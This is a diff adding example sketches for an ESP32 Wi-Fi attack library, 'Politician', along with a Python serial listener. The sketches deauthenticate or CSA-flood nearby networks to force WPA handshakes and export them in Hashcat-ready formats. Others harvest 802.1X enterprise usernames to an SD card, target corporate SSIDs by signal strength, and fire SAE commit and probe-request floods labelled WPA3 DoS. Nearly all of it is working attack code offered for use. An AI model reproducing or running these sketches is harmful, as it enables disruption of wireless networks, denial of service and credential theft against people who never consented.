||||
echo ""
|
||||
echo "Failed examples:"
|
||||
for example in "${FAILED_EXAMPLES[@]}"; do
|
||||
echo -e " ${RED}✗${NC} $example"
|
||||
echo " Log: /tmp/pio_build_${example}.log"
|
||||
done
|
||||
exit 1
|
||||
else
|
||||
echo -e "${GREEN}All examples compiled successfully!${NC}"
|
||||
exit 0
|
||||
fi
|
||||
@@ -0,0 +1,88 @@
|
||||
#include <Arduino.h>
|
||||
#include <SD.h>
|
||||
#include <SPI.h>
|
||||
#include "Politician.h"
|
||||
#include "PoliticianStorage.h"
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::storage;
|
||||
|
||||
Politician engine;
|
||||
bool isLockedOnTarget = false;
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(2000);
|
||||
|
||||
Serial.println("\n[+] Initializing Storage...");
|
||||
if (!SD.begin(5)) {
|
||||
Serial.println("[-] SD Card Mount Failed! Cannot log credentials.");
|
||||
return;
|
||||
}
|
||||
|
||||
Serial.println("[+] Enabling Politician Auto-Hunter Engine...");
|
||||
|
||||
Config cfg;
|
||||
cfg.capture_filter = LOG_FILTER_BEACONS | LOG_FILTER_HANDSHAKES;
|
||||
cfg.hop_dwell_ms = 200; // Fast hop to aggressively scout the environment
|
||||
engine.begin(cfg);
|
||||
|
||||
// 1. Hook the AP Discovery callback to evaluate networks asynchronously
|
||||
engine.setApFoundCallback([](const ApRecord &rec) {
|
||||
if (isLockedOnTarget) return; // We already found a target!
|
||||
|
||||
// Print what we see (Check if hidden network!)
|
||||
const char *ssidName = (rec.ssid_len > 0) ? rec.ssid : "<HIDDEN>";
|
||||
|
||||
// Verify if the Authentication Mode is 802.1X Enterprise (auth = 4)
|
||||
if (rec.enc == 4) {
|
||||
Serial.printf("[!!!] FOUND ENTERPRISE NETWORK: %s (%02X:%02X:%02X:%02X:%02X:%02X)\n",
|
||||
ssidName,
|
||||
rec.bssid[0], rec.bssid[1], rec.bssid[2], rec.bssid[3], rec.bssid[4], rec.bssid[5]
|
||||
);
|
||||
|
||||
// ==========================================
|
||||
// DYNAMIC LOCK-ON MECHANISM
|
||||
// ==========================================
|
||||
Serial.printf(" -> Locking frequency to Channel %d\n", rec.channel);
|
||||
Serial.println(" -> Halting deauthentication. Moving to ATTACK_PASSIVE silent listening.");
|
||||
|
||||
engine.setTarget(rec.bssid, rec.channel);
|
||||
engine.setAttackMask(ATTACK_PASSIVE);
|
||||
|
||||
isLockedOnTarget = true;
|
||||
} else {
|
||||
// Uninteresting target. Log it and move on.
|
||||
// Using extremely short format to avoid spamming serial during high-speed hopping.
|
||||
Serial.printf("(-) Ignore: %s\n", ssidName);
|
||||
}
|
||||
});
|
||||
|
||||
// 2. Hook Identity Extraction
|
||||
// This will only begin firing once the ESP32 locks onto an Enterprise AP and a corporate client connects!
|
||||
engine.setIdentityCallback([](const EapIdentityRecord &rec) {
|
||||
if (EnterpriseCsvLogger::append(SD, "/auto_hunting_identities.csv", rec)) {
|
||||
Serial.println("\n=============================================");
|
||||
Serial.printf("[BINGO] Harvested Username: %s\n", rec.identity);
|
||||
Serial.printf(" AP: %02X:%02X:%02X:%02X:%02X:%02X Client: %02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
rec.bssid[0], rec.bssid[1], rec.bssid[2], rec.bssid[3], rec.bssid[4], rec.bssid[5],
|
||||
rec.client[0], rec.client[1], rec.client[2], rec.client[3], rec.client[4], rec.client[5]
|
||||
);
|
||||
Serial.println("=============================================\n");
|
||||
|
||||
// NOTE: You could optionally call engine.clearTarget() here
|
||||
// to release the lock and resume hunting for the next Enterprise AP!
|
||||
}
|
||||
});
|
||||
|
||||
// To prevent the script from randomly spamming the serial monitor too fast,
|
||||
// explicitly tell the framework to completely ignore APs with standard Personal auth.
|
||||
// In our case we aren't cracking, so standard WPA networks aren't useful to us.
|
||||
engine.setTargetFilter([](const ApRecord &rec) {
|
||||
return (rec.enc == 4); // Only allow Enterprise auth to even reach the engine!
|
||||
});
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(1000);
|
||||
}
|
||||
107
lib/Politician/examples/DynamicControl/DynamicControl.ino
Normal file
107
lib/Politician/examples/DynamicControl/DynamicControl.ino
Normal file
@@ -0,0 +1,107 @@
|
||||
#include <Arduino.h>
|
||||
#include <Politician.h>
|
||||
#include <PoliticianFormat.h>
|
||||
|
||||
politician::Politician engine;
|
||||
|
||||
// Callback for when a handshake is successfully captured
|
||||
void onHandshake(const politician::HandshakeRecord &rec) {
|
||||
String hc22000 = politician::format::toHC22000(rec);
|
||||
Serial.printf("\n[VICTORY] Handshake Captured!\n%s\n\n", hc22000.c_str());
|
||||
}
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(2000); // Give serial monitor time to connect
|
||||
|
||||
Serial.println("===========================================");
|
||||
Serial.println(" Politician - Dynamic Runtime Control Demo");
|
||||
Serial.println("===========================================");
|
||||
Serial.println("Type 'P' to enter Passive Wardriving mode.");
|
||||
Serial.println("Type 'A' to enter Active Attack mode (ALL).");
|
||||
Serial.println("Type 'C' to use modern CSA bursts only.");
|
||||
Serial.println("Type 'D' to use classic Deauth bursts only.");
|
||||
Serial.println("Type 'O' to interact ONLY with Open networks.");
|
||||
Serial.println("Type 'W' to interact ONLY with WPA2/3 networks.");
|
||||
Serial.println("Type 'F' to toggle PCAPNG Capture Filter (Intel vs Handshakes).");
|
||||
Serial.println("Type 'I' to toggle WPA3 Immunity Skipping.");
|
||||
Serial.println("===========================================\n");
|
||||
|
||||
engine.setLogger([](const char* msg) { Serial.print(msg); });
|
||||
engine.setEapolCallback(onHandshake);
|
||||
|
||||
// Start strictly Passive by default
|
||||
politician::Config cfg;
|
||||
cfg.capture_half_handshakes = true; // We want those orphaned M2s!
|
||||
cfg.skip_immune_networks = true; // Dynamically skip WPA3 PMF required networks
|
||||
cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
|
||||
engine.begin(cfg);
|
||||
|
||||
// Completely mute transmissions to start
|
||||
engine.setAttackMask(ATTACK_PASSIVE);
|
||||
engine.startHopping();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
// 1. You must call tick() as fast as possible so the engine can breathe!
|
||||
engine.tick();
|
||||
|
||||
// 2. A simple mock UI checking for Serial Monitor commands
|
||||
if (Serial.available()) {
|
||||
char c = Serial.read();
|
||||
|
||||
if (c == 'P' || c == 'p') {
|
||||
Serial.println("\n[UI] Switching to PASSIVE Mode.");
|
||||
engine.setAttackMask(ATTACK_PASSIVE);
|
||||
// Speed up the hopper because we aren't pausing to attack
|
||||
engine.getConfig().hop_dwell_ms = 200;
|
||||
|
||||
} else if (c == 'A' || c == 'a') {
|
||||
Serial.println("\n[UI] Switching to ACTIVE ATTACK Mode (CSA + Deauth).");
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
engine.getConfig().hop_dwell_ms = 400;
|
||||
engine.getConfig().csa_beacon_count = 15;
|
||||
engine.getConfig().deauth_burst_count = 20;
|
||||
|
||||
} else if (c == 'C' || c == 'c') {
|
||||
Serial.println("\n[UI] Switching to CSA-ONLY Attack Mode.");
|
||||
engine.setAttackMask(ATTACK_CSA);
|
||||
engine.getConfig().hop_dwell_ms = 400;
|
||||
engine.getConfig().csa_beacon_count = 15;
|
||||
|
||||
} else if (c == 'D' || c == 'd') {
|
||||
Serial.println("\n[UI] Switching to DEAUTH-ONLY Attack Mode.");
|
||||
engine.setAttackMask(ATTACK_DEAUTH);
|
||||
engine.getConfig().hop_dwell_ms = 400;
|
||||
engine.getConfig().deauth_burst_count = 30; // Maximize aggressive deauth span
|
||||
|
||||
} else if (c == 'O' || c == 'o') {
|
||||
Serial.println("\n[UI] Filter -> Targeting ONLY Open/WEP Networks.");
|
||||
// Hot-swap the callback lambda at runtime
|
||||
engine.setTargetFilter([](const politician::ApRecord &ap) {
|
||||
return (ap.enc < 2); // 0=Open, 1=WEP
|
||||
});
|
||||
|
||||
} else if (c == 'W' || c == 'w') {
|
||||
Serial.println("\n[UI] Filter -> Targeting ONLY WPA2/WPA3 Networks.");
|
||||
// Hot-swap the callback lambda at runtime
|
||||
engine.setTargetFilter([](const politician::ApRecord &ap) {
|
||||
return (ap.enc >= 3); // 3=WPA2, 4=WPA3
|
||||
});
|
||||
|
||||
} else if (c == 'F' || c == 'f') {
|
||||
if (engine.getConfig().capture_filter == LOG_FILTER_ALL) {
|
||||
Serial.println("\n[UI] PCAPNG Filter -> Strict (Handshakes & Probes Only)");
|
||||
engine.getConfig().capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
|
||||
} else {
|
||||
Serial.println("\n[UI] PCAPNG Filter -> Maximum Intelligence (ALL FRAMES)");
|
||||
engine.getConfig().capture_filter = LOG_FILTER_ALL;
|
||||
}
|
||||
|
||||
} else if (c == 'I' || c == 'i') {
|
||||
engine.getConfig().skip_immune_networks = !engine.getConfig().skip_immune_networks;
|
||||
Serial.printf("\n[UI] WPA3 Immunity Skipping is now: %s\n",
|
||||
engine.getConfig().skip_immune_networks ? "ENABLED" : "DISABLED");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
#include <Arduino.h>
|
||||
#include <SD.h>
|
||||
#include <SPI.h>
|
||||
#include "Politician.h"
|
||||
#include "PoliticianStorage.h"
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::storage;
|
||||
|
||||
Politician engine;
|
||||
|
||||
// ==========================================
|
||||
// TARGET ENTERPRISE NETWORK CONFIGURATION
|
||||
// ==========================================
|
||||
const uint8_t TARGET_BSSID[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 }; // Replace with the MAC of your target AP
|
||||
const uint8_t TARGET_CHANNEL = 6; // Replace with the channel of your target AP
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(2000); // Give serial monitor time to connect
|
||||
|
||||
Serial.println("\n[+] Initializing Storage...");
|
||||
if (!SD.begin(5)) {
|
||||
Serial.println("[-] SD Card Mount Failed!");
|
||||
return;
|
||||
}
|
||||
|
||||
Serial.println("[+] Enabling Politician Engine...");
|
||||
|
||||
Config cfg;
|
||||
// We strictly filter for Beacons (so we know when AP is found) and Handshakes (EAPOL).
|
||||
cfg.capture_filter = LOG_FILTER_BEACONS | LOG_FILTER_HANDSHAKES;
|
||||
engine.begin(cfg);
|
||||
|
||||
// 1. Target Lock: Lock onto the specific AP so we constantly listen without hopping.
|
||||
engine.setTarget(TARGET_BSSID, TARGET_CHANNEL);
|
||||
|
||||
// 2. Passive Operation: We do NOT want to deauthenticate enterprise users.
|
||||
// 802.1X reconnections are slow and highly disruptive. We just wait silently.
|
||||
engine.setAttackMask(ATTACK_PASSIVE);
|
||||
|
||||
// 3. Hook the Identity Harvester
|
||||
engine.setIdentityCallback([](const EapIdentityRecord &rec) {
|
||||
// Log it to our dedicated CSV logger
|
||||
if (EnterpriseCsvLogger::append(SD, "/identities.csv", rec)) {
|
||||
Serial.printf("\n[BINGO] Harvested Username: %s\n", rec.identity);
|
||||
Serial.printf(" AP: %02X:%02X:%02X:%02X:%02X:%02X Client: %02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
rec.bssid[0], rec.bssid[1], rec.bssid[2], rec.bssid[3], rec.bssid[4], rec.bssid[5],
|
||||
rec.client[0], rec.client[1], rec.client[2], rec.client[3], rec.client[4], rec.client[5]
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
// 4. Hook Standard AP logging just so we can see when targets broadcast
|
||||
engine.setApFoundCallback([](const ApRecord &rec) {
|
||||
Serial.printf("[+] Detected broadcast from %s on Channel %d\n", rec.ssid, rec.channel);
|
||||
});
|
||||
|
||||
Serial.printf("[+] Auditing Engine Locked onto %02X:%02X:%02X:%02X:%02X:%02X (Channel %d)\n",
|
||||
TARGET_BSSID[0], TARGET_BSSID[1], TARGET_BSSID[2], TARGET_BSSID[3], TARGET_BSSID[4], TARGET_BSSID[5],
|
||||
TARGET_CHANNEL
|
||||
);
|
||||
Serial.println("[+] Passively awaiting 802.1X TLS/EAP identity exchanges...");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
// The main thread is entirely free.
|
||||
// All framework extraction runs asynchronously inside the promiscuous interrupt layer.
|
||||
delay(1000);
|
||||
}
|
||||
70
lib/Politician/examples/ExportFormats/ExportFormats.ino
Normal file
70
lib/Politician/examples/ExportFormats/ExportFormats.ino
Normal file
@@ -0,0 +1,70 @@
|
||||
#include <Arduino.h>
|
||||
#include <Politician.h>
|
||||
#include <PoliticianFormat.h>
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::format;
|
||||
|
||||
Politician engine;
|
||||
bool pcapHeaderWritten = false;
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec) {
|
||||
Serial.println("\n[!] HANDSHAKE CAPTURED!");
|
||||
Serial.printf("SSID: %s\n", rec.ssid);
|
||||
|
||||
// 1. Export as HC22000 String
|
||||
String hc22000 = toHC22000(rec);
|
||||
Serial.println("--- HC22000 Format ---");
|
||||
Serial.println(hc22000);
|
||||
|
||||
// 2. Export as synthetic PCAPNG (hex dump to serial)
|
||||
Serial.println("--- Synthetic PCAPNG Hex Dump ---");
|
||||
uint8_t pcapBuf[1024];
|
||||
size_t offset = 0;
|
||||
|
||||
// Write global header exactly once per "file"
|
||||
if (!pcapHeaderWritten) {
|
||||
offset += writePcapngGlobalHeader(pcapBuf);
|
||||
pcapHeaderWritten = true;
|
||||
}
|
||||
|
||||
// Write synthetic Enhanced Packet Blocks for this parsed record.
|
||||
// Use setPacketLogger() + writePcapngPacket() for original sniffer frames.
|
||||
size_t written = writeSyntheticPcapngRecord(rec, pcapBuf + offset, sizeof(pcapBuf) - offset);
|
||||
if (written > 0) {
|
||||
offset += written;
|
||||
}
|
||||
|
||||
// Dump as hex
|
||||
for (size_t i = 0; i < offset; i++) {
|
||||
Serial.printf("%02X", pcapBuf[i]);
|
||||
}
|
||||
Serial.println("\n----------------------");
|
||||
|
||||
// Note: In a real application, you might append `pcapBuf` (binary)
|
||||
// to an SD card file instead of hex dumping it.
|
||||
}
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(1000);
|
||||
Serial.println("\n--- Politician Export Example ---");
|
||||
|
||||
engine.setEapolCallback(onHandshake);
|
||||
|
||||
Config cfg;
|
||||
if (engine.begin(cfg) != politician::OK) {
|
||||
Serial.println("WiFi Init Failed!");
|
||||
while(1) delay(100);
|
||||
}
|
||||
|
||||
engine.startHopping();
|
||||
engine.setActive(true);
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
|
||||
Serial.println("Wardriving started...");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
engine.tick();
|
||||
}
|
||||
63
lib/Politician/examples/SerialStreaming/SerialStreaming.ino
Normal file
63
lib/Politician/examples/SerialStreaming/SerialStreaming.ino
Normal file
@@ -0,0 +1,63 @@
|
||||
// ==============================================================================
|
||||
// 📡 POLITICIAN: Native PCAPNG Serial Streamer
|
||||
// ==============================================================================
|
||||
// Instead of saving high-speed Beacons or Handshakes to an SD Card (which has
|
||||
// massive blocking delays and write limitations), this script instantly formats
|
||||
// the raw packets mathematically into perfectly valid PCAPNG (EPB) binary blocks
|
||||
// and streams them straight over the USB UART cable to a listening Python script
|
||||
// running on your laptop!
|
||||
// ==============================================================================
|
||||
|
||||
#include <Arduino.h>
|
||||
#include "Politician.h"
|
||||
#include "PoliticianFormat.h"
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::format;
|
||||
|
||||
Politician engine;
|
||||
|
||||
// Pre-allocate a large static buffer so we NEVER use standard heap memory during the interrupt
|
||||
uint8_t pcapBuffer[4096];
|
||||
|
||||
void setup() {
|
||||
// 💳 Set incredibly high baud rate to support maximum Wi-Fi throughput.
|
||||
// Ensure your python listener specifically dials in at 921600!
|
||||
Serial.begin(921600);
|
||||
delay(2000);
|
||||
|
||||
// When the Python script connects via Serial, we MUST inject the mathematical
|
||||
// headers that define exactly what format the upcoming binary stream is in.
|
||||
// 1 & 2. Send the PCAPNG Section Header Block (SHB) + Interface Description Block (IDB)
|
||||
size_t header_len = writePcapngGlobalHeader(pcapBuffer);
|
||||
Serial.write(pcapBuffer, header_len);
|
||||
|
||||
// Ensure the hardware pushes the headers out immediately
|
||||
Serial.flush();
|
||||
|
||||
Config cfg;
|
||||
// We want to pull Handshakes dynamically, so we hop at standard speeds
|
||||
cfg.capture_filter = LOG_FILTER_HANDSHAKES;
|
||||
cfg.hop_dwell_ms = 200;
|
||||
engine.begin(cfg);
|
||||
|
||||
// Deauth every network we see to aggressively generate handshakes!
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
|
||||
// 3. Hook the PCAPNG Native Formatter Callback
|
||||
engine.setEapolCallback([](const HandshakeRecord &rec) {
|
||||
// This fires natively on Core 0 whenever an EAPOL packet is cracked.
|
||||
// Convert the record into a 100% compliant Wireshark EPB Binary array!
|
||||
size_t block_len = writePcapngRecord(rec, pcapBuffer, sizeof(pcapBuffer));
|
||||
|
||||
// Blast the raw array instantly over the wire to your computer!
|
||||
if (block_len > 0) {
|
||||
Serial.write(pcapBuffer, block_len);
|
||||
Serial.flush(); // Ensure delivery before resuming the attack loop
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(1000);
|
||||
}
|
||||
77
lib/Politician/examples/SerialStreaming/listener.py
Normal file
77
lib/Politician/examples/SerialStreaming/listener.py
Normal file
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python3
|
||||
# ==============================================================================
|
||||
# 📡 POLITICIAN: PCAPNG Serial Listener Handler
|
||||
# ==============================================================================
|
||||
# Run this on your Laptop! It natively opens the USB port, grabs the raw binary
|
||||
# PCAPNG blocks injected by the ESP32, and mathematically assembles them into a
|
||||
# perfectly compliant `capture.pcapng` file that Hashcat can crack directly!
|
||||
#
|
||||
# Usage: python3 listener.py /dev/ttyUSB0
|
||||
# ==============================================================================
|
||||
|
||||
import serial
|
||||
import sys
|
||||
import os
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 listener.py <PORT>")
|
||||
print("Example: python3 listener.py /dev/ttyUSB0")
|
||||
print("Example: python3 listener.py COM3")
|
||||
sys.exit(1)
|
||||
|
||||
SERIAL_PORT = sys.argv[1]
|
||||
BAUD_RATE = 921600 # Must explicitly match the setup() inside SerialStreaming.ino!
|
||||
OUTPUT_FILE = "capture.pcapng"
|
||||
|
||||
print(f"[*] Attaching Politician Listener to {SERIAL_PORT} @ {BAUD_RATE} baud...")
|
||||
|
||||
try:
|
||||
# Open Serial Port in raw binary mode
|
||||
ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=None)
|
||||
except Exception as e:
|
||||
print(f"[-] FATAL: Failed to open port {SERIAL_PORT}.")
|
||||
print(f" Error: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# Ensure fresh extraction file
|
||||
if os.path.exists(OUTPUT_FILE):
|
||||
print(f"[*] Removing old {OUTPUT_FILE}...")
|
||||
os.remove(OUTPUT_FILE)
|
||||
|
||||
print(f"[+] Listener Online. Writing mathematically raw byte streams into {OUTPUT_FILE}...")
|
||||
print("[!] Press CTRL+C at any time to safely terminate the stream.\n")
|
||||
|
||||
MAGIC_NUMBER = b'\n\r\r\n'
|
||||
synced = False
|
||||
buffer = b''
|
||||
|
||||
try:
|
||||
with open(OUTPUT_FILE, "wb") as f:
|
||||
while True:
|
||||
# The ESP32 flushes its exact EPB, SHB, and IDB byte arrays natively.
|
||||
if ser.in_waiting > 0:
|
||||
chunk = ser.read(ser.in_waiting)
|
||||
|
||||
# Protect against ESP32 Serial Bootlogs corrupting the binary
|
||||
if not synced:
|
||||
buffer += chunk
|
||||
idx = buffer.find(MAGIC_NUMBER)
|
||||
if idx != -1:
|
||||
print("\n[+] PCAPNG Magic Number detected! Synchronized.")
|
||||
synced = True
|
||||
chunk = buffer[idx:] # Discard all ASCII bootlogs
|
||||
else:
|
||||
continue # Keep waiting
|
||||
|
||||
f.write(chunk)
|
||||
f.flush()
|
||||
|
||||
# Visual Indicator logic!
|
||||
print(".", end='', flush=True)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("\n\n[+] Stream Terminated Safely.")
|
||||
print(f"[+] Output saved correctly to: {OUTPUT_FILE}")
|
||||
print("[+] Note: You can now run this directly through `hcxpcapngtool`!")
|
||||
finally:
|
||||
ser.close()
|
||||
1
lib/Politician/examples/SerialStreaming/requirements.txt
Normal file
1
lib/Politician/examples/SerialStreaming/requirements.txt
Normal file
@@ -0,0 +1 @@
|
||||
pyserial>=3.5
|
||||
83
lib/Politician/examples/StorageAndNVS/StorageAndNVS.ino
Normal file
83
lib/Politician/examples/StorageAndNVS/StorageAndNVS.ino
Normal file
@@ -0,0 +1,83 @@
|
||||
#include <Arduino.h>
|
||||
#include <SD.h>
|
||||
#include <SPI.h>
|
||||
#include <Politician.h>
|
||||
#include <PoliticianStorage.h>
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::storage;
|
||||
|
||||
Politician engine;
|
||||
NvsBssidCache nvsCache("wardrive");
|
||||
|
||||
// Change to your SD card's Chip Select pin
|
||||
const int SD_CS_PIN = 5;
|
||||
|
||||
void onPacket(const uint8_t *payload, uint16_t len, int8_t rssi, uint32_t ts_usec) {
|
||||
// This callback receives all frames strictly matching your `capture_filter`.
|
||||
// It seamlessly creates a second PCAPNG file strictly containing raw Air Intel.
|
||||
PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, ts_usec);
|
||||
}
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec) {
|
||||
Serial.printf("\n[!] HANDSHAKE CAPTURED: %s\n", rec.ssid);
|
||||
|
||||
// Save to SD as HC22000 only after strict validation.
|
||||
if (Hc22000FileLogger::append(SD, "/captures.22000", rec)) {
|
||||
Serial.println(" -> Appended to /captures.22000 on SD Card.");
|
||||
} else {
|
||||
Serial.println(" -> Failed to append HC22000.");
|
||||
}
|
||||
|
||||
// Add to NVS cache so we don't attack it again on the next reboot.
|
||||
if (nvsCache.add(rec.bssid)) {
|
||||
Serial.println(" -> BSSID stored in NVS successfully.");
|
||||
// Also inform the active engine instance directly so it stops
|
||||
engine.markCaptured(rec.bssid);
|
||||
}
|
||||
}
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(1000);
|
||||
Serial.println("\n--- Politician SD & NVS Storage Example ---");
|
||||
|
||||
// Initialize SD Card
|
||||
if(!SD.begin(SD_CS_PIN)){
|
||||
Serial.println("SD Card Mount Failed! Ensure it is connected.");
|
||||
} else {
|
||||
Serial.println("SD Card initialized.");
|
||||
}
|
||||
|
||||
// Initialize the NVS cache and load stored BSSIDs
|
||||
nvsCache.begin();
|
||||
Serial.println("NVS Cache loaded from Preferences.");
|
||||
|
||||
// Setup Engine Callbacks
|
||||
engine.setEapolCallback(onHandshake);
|
||||
engine.setPacketLogger(onPacket); // Wire up the Raw Packet Filter sniffer
|
||||
|
||||
Config cfg;
|
||||
// Tell the engine exactly what to log to `onPacket`.
|
||||
// Here we tell it to capture raw handshake frames for /captures.pcapng.
|
||||
cfg.capture_filter = LOG_FILTER_HANDSHAKES;
|
||||
|
||||
if (engine.begin(cfg) != politician::OK) {
|
||||
Serial.println("WiFi Init Failed!");
|
||||
while(1) delay(100);
|
||||
}
|
||||
|
||||
// Inject the NVS BSSIDs into the Politician engine so it ignores them
|
||||
nvsCache.loadInto(engine);
|
||||
|
||||
// Start Attack sequence
|
||||
engine.startHopping();
|
||||
engine.setActive(true);
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
|
||||
Serial.println("Wardriving started...");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
engine.tick();
|
||||
}
|
||||
33
lib/Politician/examples/StressTest/StressTest.ino
Normal file
33
lib/Politician/examples/StressTest/StressTest.ino
Normal file
@@ -0,0 +1,33 @@
|
||||
#include <Arduino.h>
|
||||
#include "Politician.h"
|
||||
#include "PoliticianStress.h"
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::stress;
|
||||
|
||||
Politician engine;
|
||||
const uint8_t TARGET_BSSID[6] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06 };
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(2000);
|
||||
|
||||
Serial.println("[+] Booting Engine & Halting Hopper...");
|
||||
Config cfg;
|
||||
engine.begin(cfg);
|
||||
|
||||
// Lock frequency
|
||||
engine.setTarget(TARGET_BSSID, 6);
|
||||
|
||||
Serial.println("[+] Firing Massive SAE Commit Flood (WPA3 DoS) over 5 seconds...");
|
||||
saeCommitFlood(TARGET_BSSID, 5000);
|
||||
|
||||
Serial.println("[+] Firing Massive Probe Request Flood over 5 seconds...");
|
||||
probeRequestFlood(5000);
|
||||
|
||||
Serial.println("[+] Stress Tests Executed Successfully!");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(1000);
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
#include <Arduino.h>
|
||||
#include <Politician.h>
|
||||
#include <PoliticianFormat.h>
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::format;
|
||||
|
||||
Politician engine;
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec) {
|
||||
Serial.println("\n========================================");
|
||||
Serial.printf("[!] HIGH-VALUE TARGET CAPTURED: %s\n", rec.ssid);
|
||||
Serial.println("========================================");
|
||||
Serial.printf("HC22000: %s\n", toHC22000(rec).c_str());
|
||||
Serial.println("========================================\n");
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------
|
||||
// The Magic Filter:
|
||||
// This lambda function is executed by the core engine
|
||||
// every time a router is discovered.
|
||||
// If this function returns 'false', the engine completely
|
||||
// ignores the network and saves its attack energy.
|
||||
// ---------------------------------------------------------
|
||||
bool myTargetingFilter(const ApRecord &ap) {
|
||||
// 1. FILTER BY RSSI (Signal Strength)
|
||||
// We only want to attack routers physically close to us.
|
||||
// -60 dBm is roughly 10 meters away.
|
||||
if (ap.rssi < -60) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 2. FILTER BY ENCRYPTION
|
||||
// 0 = Open, 1 = WEP, 2 = WPA, 3 = WPA2, 4 = WPA3
|
||||
// Open networks don't have handshakes, so we ignore them.
|
||||
if (ap.enc < 3) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 3. FILTER BY SSID PREFIX
|
||||
// We only want to target corporate networks
|
||||
// (e.g., "CorpSec", "CorpGuest", "CorpNet")
|
||||
if (strncmp(ap.ssid, "Corp", 4) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// 4. PREVENT ATTACKING SPECIFIC ROUTERS
|
||||
// Never attack the CEO's personal router
|
||||
uint8_t ceo_mac[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF};
|
||||
if (memcmp(ap.bssid, ceo_mac, 6) == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// If the network survives all the filters above, it is a
|
||||
// high-value target! Tell the engine to unleash Hell:
|
||||
Serial.printf("[Target Locked] Attacking %s (RSSI: %d)\n", ap.ssid, ap.rssi);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(2000);
|
||||
|
||||
Serial.println("\n[+] Starting Politician in Targeted Mode");
|
||||
|
||||
// Route handshakes to our serial monitor
|
||||
engine.setEapolCallback(onHandshake);
|
||||
|
||||
// Inject our custom targeting logic into the core engine
|
||||
engine.setTargetFilter(myTargetingFilter);
|
||||
|
||||
// Provide a targeted configuration
|
||||
Config cfg;
|
||||
cfg.capture_filter = LOG_FILTER_HANDSHAKES; // Only log crackable material to save space
|
||||
cfg.skip_immune_networks = true; // Don't waste time attacking WPA3-only networks
|
||||
engine.begin(cfg);
|
||||
|
||||
// Arm the weapons (Modern CSA Beacons + Legacy Deauth)
|
||||
engine.setAttackMask(ATTACK_CSA | ATTACK_DEAUTH);
|
||||
|
||||
// You can also completely lock the engine to a single specific router
|
||||
// instead of hopping dynamically, by using setTarget:
|
||||
// uint8_t target_mac[6] = { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66 };
|
||||
// engine.setTarget(target_mac, 6); // Stay on channel 6 forever
|
||||
}
|
||||
|
||||
void loop() {
|
||||
// Keep the high-speed autonomous hopping loop running
|
||||
engine.tick();
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
#include <Arduino.h>
|
||||
#include <SD.h>
|
||||
#include <SPI.h>
|
||||
#include <Politician.h>
|
||||
#include <PoliticianStorage.h>
|
||||
|
||||
using namespace politician;
|
||||
using namespace politician::storage;
|
||||
|
||||
Politician engine;
|
||||
const int SD_CS_PIN = 5;
|
||||
|
||||
// Fake GPS data for simulation purposes
|
||||
float current_lat = 40.7128;
|
||||
float current_lon = -74.0060;
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec) {
|
||||
Serial.printf("\n[!] HANDSHAKE CAPTURED: %s\n", rec.ssid);
|
||||
|
||||
// 1. Write the Handshake to our PCAPNG file
|
||||
if (PcapngFileLogger::append(SD, "/captures.pcapng", rec)) {
|
||||
Serial.println(" -> Written PCAPNG Record.");
|
||||
}
|
||||
|
||||
// 2. Automatically log the coordinates to Wigle.net CSV format
|
||||
if (WigleCsvLogger::append(SD, "/wardrive.csv", rec, current_lat, current_lon)) {
|
||||
Serial.println(" -> Logged GPS Coordinates to Wigle CSV.");
|
||||
} else {
|
||||
Serial.println(" -> Failed to log Wigle CSV.");
|
||||
}
|
||||
}
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(1000);
|
||||
